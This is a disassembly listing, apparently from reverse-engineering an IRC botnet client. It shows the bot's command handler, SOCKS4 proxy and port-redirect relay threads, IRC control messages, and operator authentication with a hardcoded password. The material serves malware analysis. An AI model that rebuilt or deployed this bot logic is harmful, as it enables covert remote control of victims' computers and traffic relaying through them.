loc_40E1AF: ; CODE XREF: sub_409557+4C3Cj
push [ebp+arg_4]
call dword_42EC48 ; closesocket
call dword_42EB20 ; WSACleanup
call sub_40724A
push ebx
call ds:dword_41B090 ; ExitProcess
loc_40E1CA: ; CODE XREF: sub_409557+1136j
; sub_409557+114Bj
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push eax
call sub_410E85
pop ecx
pop ecx
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
push offset aMainSystemInfo ; "[MAIN]: System Info."
jmp short loc_40E222
; ---------------------------------------------------------------------------
loc_40E1F5: ; CODE XREF: sub_409557+110Cj
; sub_409557+1121j
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_411139
add esp, 0Ch
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
push offset aMainNetworkInf ; "[MAIN]: Network Info."
loc_40E222: ; CODE XREF: sub_409557+4A10j
; sub_409557+4C9Cj
call sub_402D63
jmp loc_40CF21
; ---------------------------------------------------------------------------
loc_40E22C: ; CODE XREF: sub_409557+10E2j
; sub_409557+10F7j
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_402E03
loc_40E240: ; CODE XREF: sub_409557+3C5j
; sub_409557+4A70j ...
add esp, 10h
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_40E248: ; CODE XREF: sub_409557+10B8j
; sub_409557+10CDj
cmp [ebp+var_C], ebx
mov [ebp+var_374], bl
jz short loc_40E287
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_40E287
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40E287
push eax
push offset aS_2 ; "%s"
lea eax, [ebp+var_374]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_40E287: ; CODE XREF: sub_409557+4CFAj
; sub_409557+4D05j ...
push [ebp+var_8C] ; Format
lea eax, [ebp+var_3F4]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
push offset aLogListingLog_ ; "[LOG]: Listing log."
mov [ebp+var_3F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2EC], eax
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Ch ; int
push eax ; Source
call sub_411C3A
add esp, 20h
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3F8]
push ebx
push eax
push offset sub_402E75
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40E327
loc_40E311: ; CODE XREF: sub_409557+4DCEj
cmp [ebp+var_2E8], ebx
jnz loc_4099D2
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40E311
; ---------------------------------------------------------------------------
loc_40E327: ; CODE XREF: sub_409557+4DB8j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aLogFailedToSta ; "[LOG]: Failed to start listing thread, "...
jmp loc_40E960
; ---------------------------------------------------------------------------
loc_40E338: ; CODE XREF: sub_409557+108Ej
; sub_409557+10A3j
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_402CEB
push offset aMainAliasList_ ; "[MAIN]: Alias list."
call sub_402D63
jmp loc_40DED4
; ---------------------------------------------------------------------------
loc_40E358: ; CODE XREF: sub_409557+1064j
; sub_409557+1079j
push [ebp+var_8C] ; Format
lea eax, [ebp+var_4DC]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, dword ptr [ebp+esi+Args]
mov [ebp+var_4E0], eax
mov eax, [ebp+var_4]
mov [ebp+var_454], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_450], eax
jz short loc_40E3B2
push offset aSub ; "sub"
push esi ; Str1
call _strcmp
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_458], eax
jmp short loc_40E3B8
; ---------------------------------------------------------------------------
loc_40E3B2: ; CODE XREF: sub_409557+4E3Fj
mov [ebp+var_458], ebx
loc_40E3B8: ; CODE XREF: sub_409557+4E59j
lea eax, [ebp+Dst]
push offset aThreadsListThr ; "[THREADS]: List threads."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 1Fh ; int
push eax ; Source
call sub_411C3A
add esp, 14h
mov [ebp+var_45C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4E0]
push ebx
push eax
push offset sub_411CA5
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_45C]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40E422
loc_40E410: ; CODE XREF: sub_409557+4EC9j
cmp [ebp+var_44C], ebx
jnz short loc_40E43D
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40E410
; ---------------------------------------------------------------------------
loc_40E422: ; CODE XREF: sub_409557+4EB7j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"...
loc_40E42E: ; CODE XREF: sub_409557+3E10j
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_40E43D: ; CODE XREF: sub_409557+2245j
; sub_409557+2267j ...
lea eax, [ebp+Dst]
push eax
jmp loc_40A84F
; ---------------------------------------------------------------------------
loc_40E449: ; CODE XREF: sub_409557+FE8j
; sub_409557+FFDj
push offset aFenr ; "FEnR"
lea eax, [ebp+Dst]
push offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 20h
jmp loc_40CCC6
; ---------------------------------------------------------------------------
loc_40E480: ; CODE XREF: sub_409557+FBEj
; sub_409557+FD3j
push dword_4750D0
call sub_410D66
push eax
lea eax, [ebp+Dst]
push offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 24h
jmp loc_40CCC6
; ---------------------------------------------------------------------------
loc_40E4BE: ; CODE XREF: sub_409557+F94j
; sub_409557+FA9j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_40E4F0
cmp [ebp+var_C], ebx
jz short loc_40E4FF
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40E4FF
push eax ; Args
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
add esp, 0Ch
jmp short loc_40E4FF
; ---------------------------------------------------------------------------
loc_40E4F0: ; CODE XREF: sub_409557+4F70j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
pop ecx
pop ecx
loc_40E4FF: ; CODE XREF: sub_409557+4F75j
; sub_409557+4F84j ...
push 0FFFFFFFEh
jmp loc_4099D4
; ---------------------------------------------------------------------------
loc_40E506: ; CODE XREF: sub_409557+F6Aj
; sub_409557+F7Fj
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push offset aMainDisconnect ; "[MAIN]: Disconnecting."
call sub_402D63
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_4099D5
; ---------------------------------------------------------------------------
loc_40E528: ; CODE XREF: sub_409557+F40j
; sub_409557+F55j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push offset aMainReconnecti ; "[MAIN]: Reconnecting."
call sub_402D63
add esp, 0Ch
xor eax, eax
jmp loc_4099D5
; ---------------------------------------------------------------------------
loc_40E549: ; CODE XREF: sub_409557+F16j
; sub_409557+F2Bj
push [ebp+var_4] ; int
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_4021A2
jmp loc_40CE8A
; ---------------------------------------------------------------------------
loc_40E55F: ; CODE XREF: sub_409557+E71j
; sub_409557+E86j
push dword ptr [ebp+esi+Args] ; Str
push 1Eh ; int
push offset aProcessList ; "Process list"
push offset aProc ; "[PROC]"
loc_40E572: ; CODE XREF: sub_409557+CECj
; sub_409557+D15j ...
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+var_8C] ; int
push [ebp+arg_4] ; int
call sub_411EC8
add esp, 20h
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_40E58E: ; CODE XREF: sub_409557+CADj
; sub_409557+CC2j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_40E5AD
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_40E5AD
push edi ; Str
call _atoi
pop ecx
jmp short loc_40E5B2
; ---------------------------------------------------------------------------
loc_40E5AD: ; CODE XREF: sub_409557+5040j
; sub_409557+504Bj
mov eax, dword_424A44
loc_40E5B2: ; CODE XREF: sub_409557+5054j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_464], eax
cmp esi, ebx
jz short loc_40E5D7
push esi ; Format
loc_40E5C4: ; CODE XREF: sub_409557+508Fj
lea eax, [ebp+var_474]
push 10h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_40E5EE
; ---------------------------------------------------------------------------
loc_40E5D7: ; CODE XREF: sub_409557+506Aj
cmp [ebp+var_9B3], bl
jz short loc_40E5E8
lea eax, [ebp+var_C4]
push eax
jmp short loc_40E5C4
; ---------------------------------------------------------------------------
loc_40E5E8: ; CODE XREF: sub_409557+5086j
mov [ebp+var_474], bl
loc_40E5EE: ; CODE XREF: sub_409557+507Ej
mov eax, [ebp+var_4]
push [ebp+var_8C] ; Format
mov esi, [ebp+arg_4]
mov [ebp+var_458], eax
mov eax, [ebp+var_8]
push 80h ; Count
mov [ebp+var_454], eax
lea eax, [ebp+var_4F4]
push eax ; Dest
mov [ebp+var_4F8], esi
call __snprintf
add esp, 0Ch
push [ebp+var_464]
push esi
call sub_408401
pop ecx
push eax
lea eax, [ebp+Dst]
push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 11h ; int
push eax ; Source
call sub_411C3A
add esp, 1Ch
mov [ebp+var_460], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F8]
push ebx
push eax
push offset sub_4103F5
push ebx
push ebx
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_460]
imul ecx, 234h
cmp eax, ebx
mov dword_430554[ecx], eax
jz short loc_40E69F
loc_40E689: ; CODE XREF: sub_409557+5146j
cmp [ebp+var_450], ebx
jnz loc_4099D2
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40E689
; ---------------------------------------------------------------------------
loc_40E69F: ; CODE XREF: sub_409557+5130j
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax
push offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"...
jmp loc_40E960
; ---------------------------------------------------------------------------
loc_40E6B0: ; CODE XREF: sub_409557+C83j
; sub_409557+C98j
push offset aFenr_0 ; "FEnR"
push offset aMainS ; "[MAIN]: %s"
jmp loc_40CC81
; ---------------------------------------------------------------------------
loc_40E6BF: ; CODE XREF: sub_409557+C59j
; sub_409557+C6Ej
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_40E719
push esi ; Str
call _atoi
cmp eax, ebx
pop ecx
jl short loc_40E711
cmp eax, 2
jge short loc_40E711
mov edx, [ebp+Str1]
mov ecx, eax
shl ecx, 7
cmp [ecx+edx], bl
lea esi, [ecx+edx]
jz short loc_40E709
lea eax, [esi+1]
push eax
lea eax, [ebp+Dst]
push offset aMainUserSLogge ; "[MAIN]: User %s logged out."
push eax ; Dest
call _sprintf
add esp, 0Ch
mov [esi], bl
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40E709: ; CODE XREF: sub_409557+5191j
push eax
push offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d."
jmp short loc_40E756
; ---------------------------------------------------------------------------
loc_40E711: ; CODE XREF: sub_409557+517Cj
; sub_409557+5181j
push eax
push offset aMainInvalidLog ; "[MAIN]: Invalid login slot number: %d."
jmp short loc_40E756
; ---------------------------------------------------------------------------
loc_40E719: ; CODE XREF: sub_409557+5171j
mov edi, [ebp+Str1]
xor esi, esi
loc_40E71E: ; CODE XREF: sub_409557+51E3j
push [ebp+Str2] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40E741
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E71E
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40E741: ; CODE XREF: sub_409557+51D7j
mov eax, [ebp+Str1]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
push offset aMainUserSLogge ; "[MAIN]: User %s logged out."
loc_40E756: ; CODE XREF: sub_409557+1834j
; sub_409557+1862j ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40E76A: ; CODE XREF: sub_409557+C2Fj
; sub_409557+C44j
push dword ptr [ebp+Args] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40E7D9
call sub_411E03
push ebx
call ds:dword_41B090 ; ExitProcess
loc_40E78C: ; CODE XREF: sub_409557+C05j
; sub_409557+C1Aj
push dword ptr [ebp+esi+Args] ; Str1
xor eax, eax
cmp [ebp+var_9A4], bl
setnz al
push eax ; int
lea eax, [ebp+var_564]
push dword_424A68 ; int
push eax ; Dest
call sub_40FA38
lea eax, [ebp+var_564]
push eax ; Args
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
lea eax, [ebp+var_564]
push eax ; Args
push offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
call sub_402DD7
loc_40E7D6: ; CODE XREF: sub_409557+2466j
add esp, 24h
loc_40E7D9: ; CODE XREF: sub_409557+643j
; sub_409557+64Fj ...
mov eax, [ebp+File]
jmp loc_4099D5
; ---------------------------------------------------------------------------
loc_40E7E1: ; CODE XREF: sub_409557+6D2j
; sub_409557+6E7j
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
mov [ebp+Src], esi
jz loc_4099D2
cmp [ebp+var_AC], ebx
jnz loc_4099D2
push offset asc_42734C ; "!"
push [ebp+Str2] ; Str
call _strtok
mov esi, eax
push offset byte_475258 ; Delim
push ebx ; Str
inc esi
call _strtok
push offset asc_42569C ; "~"
push eax ; Str
call _strtok
push [ebp+Src] ; Str2
mov edi, eax
push offset a19736666386888 ; "19736666386888"
call _strcmp
add esp, 20h
test eax, eax
jz short loc_40E889
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4] ; int
call sub_405E1E
push edi
push esi
push offset aMainFailedPass ; "[MAIN]: *Failed pass auth by: (%s!%s)."
loc_40E875: ; CODE XREF: sub_409557+538Ej
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 30h
jmp loc_40CA6C
; ---------------------------------------------------------------------------
loc_40E889: ; CODE XREF: sub_409557+52E5j
mov [ebp+File], offset off_424B10
loc_40E890: ; CODE XREF: sub_409557+5355j
mov eax, [ebp+File]
push edi
push dword ptr [eax]
call sub_411F93
pop ecx
test eax, eax
pop ecx
jnz short loc_40E8E7
add [ebp+File], 4
cmp [ebp+File], offset off_424B14
jl short loc_40E890
lea eax, [ebp+var_C4]
push edi
push eax
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4] ; int
call sub_405E1E
push edi
push esi
push offset aMainFailedHost ; "[MAIN]: *Failed host auth by: (%s!%s)."
jmp short loc_40E875
; ---------------------------------------------------------------------------
loc_40E8E7: ; CODE XREF: sub_409557+5348j
mov edi, [ebp+Str1]
xor esi, esi
loc_40E8EC: ; CODE XREF: sub_409557+53BFj
cmp [ebp+Src], ebx
jz loc_4099D2
cmp [edi], bl
jnz short loc_40E90C
push [ebp+Src] ; Str2
push offset a19736666386888 ; "19736666386888"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40E91D
loc_40E90C: ; CODE XREF: sub_409557+53A0j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40E8EC
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_40E91D: ; CODE XREF: sub_409557+53B3j
shl esi, 7
add esi, [ebp+Str1]
lea eax, [ebp+var_A94]
push 7Fh ; Count
push eax ; Source
push esi ; Dest
call _strncpy
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40E954
push ebx ; int
push [ebp+var_4] ; int
push offset aMainPasswordAc ; "[MAIN]: Password accepted."
push [ebp+var_8C] ; Str
push [ebp+arg_4] ; int
call sub_405E64
add esp, 14h
loc_40E954: ; CODE XREF: sub_409557+53E1j
lea eax, [ebp+var_C4]
push eax ; Args
push offset aMainUserSLog_1 ; "[MAIN]: User: %s logged in."
loc_40E960: ; CODE XREF: sub_409557+59Bj
; sub_409557+4DDCj ...
call sub_402DD7
pop ecx
loc_40E966: ; CODE XREF: sub_409557+230Dj
pop ecx
jmp loc_4099D2
; ---------------------------------------------------------------------------
loc_40E96C: ; CODE XREF: sub_409557+20Ej
; sub_409557+223j
push [ebp+Dest] ; Args
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push offset asc_424AF8 ; "+x"
push [ebp+Dest] ; Args
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
push [ebp+arg_C]
push [ebp+arg_8] ; Args
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4] ; int
call sub_405E1E
add esp, 2Ch
mov dword_475250, edi
jmp loc_4097F4
sub_409557 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E9B2 proc near ; DATA XREF: sub_409557+2F37o
Source = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+Dst]
push ebx ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_40]
call dword_42EBB4 ; htons
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_42EC30 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40EB16
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_43054C[eax], ebx
call dword_42EAE0 ; WSAAsyncSelect
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
call dword_42EBE0 ; bind
test eax, eax
jnz loc_40EB16
push 0Ah
push ebx
call dword_42EBDC ; listen
test eax, eax
jnz loc_40EB16
loc_40EA5C: ; CODE XREF: sub_40E9B2+BEj
; sub_40E9B2+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_42EC44 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40EA5C
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset aRedirectClient ; "[REDIRECT]: Client connection from IP: "...
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Source]
push 10h ; int
push eax ; Source
call sub_411C3A
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_430544[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_40EB3A
push esi
push esi
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_430554[ecx], eax
jz short loc_40EB01
loc_40EAEE: ; CODE XREF: sub_40E9B2+14Dj
cmp [ebp+var_2C], esi
jnz loc_40EA5C
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40EAEE
; ---------------------------------------------------------------------------
loc_40EB01: ; CODE XREF: sub_40E9B2+13Aj
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRedirectFail_0 ; "[REDIRECT]: Failed to start client thre"...
call sub_402DD7
pop ecx
pop ecx
jmp short loc_40EB19
; ---------------------------------------------------------------------------
loc_40EB16: ; CODE XREF: sub_40E9B2+61j
; sub_40E9B2+93j ...
mov edi, [ebp+arg_0]
loc_40EB19: ; CODE XREF: sub_40E9B2+162j
push edi
call dword_42EC48 ; closesocket
push ebx
call dword_42EC48 ; closesocket
push [ebp+var_3C]
call sub_411F56
pop ecx
push esi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
pop ebx
sub_40E9B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EB3A proc near ; DATA XREF: sub_40E9B2+11Co
var_1344 = byte ptr -1344h
Source = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
Dst = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_42EC30 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_40ECF0
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_3C]
call dword_42EBB4 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_42EBF0 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_40EBCA
lea eax, [ebp+var_13C]
push eax
call dword_42EC34 ; gethostbyname
jmp short loc_40EBD8
; ---------------------------------------------------------------------------
loc_40EBCA: ; CODE XREF: sub_40EB3A+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_42EB70 ; gethostbyaddr
loc_40EBD8: ; CODE XREF: sub_40EB3A+8Ej
cmp eax, edi
jz loc_40ECF0
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+Dst]
push eax
push esi
call dword_42EB60 ; connect
cmp eax, 0FFFFFFFFh
jz loc_40ECF0
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_42EC3C ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset aRedirectClie_0 ; "[REDIRECT]: Client connection to IP: %s"...
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Source]
push 10h ; int
push eax ; Source
call sub_411C3A
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43054C[ebx]
mov dword_430544[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_430550[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_40ED21
push edi
push edi
call ds:dword_41B064 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_430554[ecx], eax
jz short loc_40ECDD
loc_40EC8A: ; CODE XREF: sub_40EB3A+15Dj
cmp [ebp+var_20], edi
jnz short loc_40EC99
push 32h
call ds:dword_41B048 ; Sleep
jmp short loc_40EC8A
; ---------------------------------------------------------------------------
loc_40EC99: ; CODE XREF: sub_40EB3A+153j
mov ebx, 1000h
loc_40EC9E: ; CODE XREF: sub_40EB3A+19Fj
push ebx ; Size
lea eax, [ebp+var_1344]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_42EBCC ; recv
cmp eax, edi
jle short loc_40ECF0
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40EC9E
jmp short loc_40ECF0
; ---------------------------------------------------------------------------
loc_40ECDD: ; CODE XREF: sub_40EB3A+14Ej
call ds:dword_41B060 ; RtlGetLastWin32Error
push eax ; Args
push offset aRedirectFail_1 ; "[REDIRECT]: Failed to start connection "...
call sub_402DD7
pop ecx
pop ecx
loc_40ECF0: ; CODE XREF: sub_40EB3A+44j
; sub_40EB3A+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_43054C[eax]
call dword_42EC48 ; closesocket
push [ebp+arg_0]
call dword_42EC48 ; closesocket
push [ebp+var_4]
call sub_411F56
pop ecx
push edi
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
pop ebx
sub_40EB3A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED21 proc near ; DATA XREF: sub_40EB3A+130o
Dst = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call __alloca_probe
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_40ED58: ; CODE XREF: sub_40ED21+7Cj
push edi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 0
push edi
push eax
push dword_430550[esi]
call dword_42EBCC ; recv
test eax, eax
jle short loc_40ED9F
push 0
push eax
lea eax, [ebp+Dst]
push eax
push dword_43054C[esi]
call dword_42EC00 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40ED58
loc_40ED9F: ; CODE XREF: sub_40ED21+61j
push dword_430550[esi]
call dword_42EC48 ; closesocket
push [ebp+var_14]
call sub_411F56
pop ecx
push 0
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
sub_40ED21 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40EDBE proc near ; CODE XREF: sub_40EDEE+2Ap
; sub_40EE26+7Ep ...
mov eax, dword_475260
push esi
mov esi, ds:dword_41B050
cmp eax, 0FFFFFFFFh
jz short loc_40EDD2
push eax
call esi ; CloseHandle
loc_40EDD2: ; CODE XREF: sub_40EDBE+Fj
mov eax, dword_475268
cmp eax, 0FFFFFFFFh
jz short loc_40EDDF
push eax
call esi ; CloseHandle
loc_40EDDF: ; CODE XREF: sub_40EDBE+1Cj
mov eax, dword_47525C
cmp eax, 0FFFFFFFFh
jz short loc_40EDEC
push eax
call esi ; CloseHandle
loc_40EDEC: ; CODE XREF: sub_40EDBE+29j
pop esi
retn
sub_40EDBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_40EDEE(char *Str)
sub_40EDEE proc near ; CODE XREF: sub_409557+3DF4p
var_4 = dword ptr -4
Str = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+Str] ; Str
call _strlen
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+Str]
push dword_475264
call ds:dword_41B054 ; WriteFile
test eax, eax
jnz short loc_40EE21
call sub_40EDBE
xor eax, eax
leave
retn
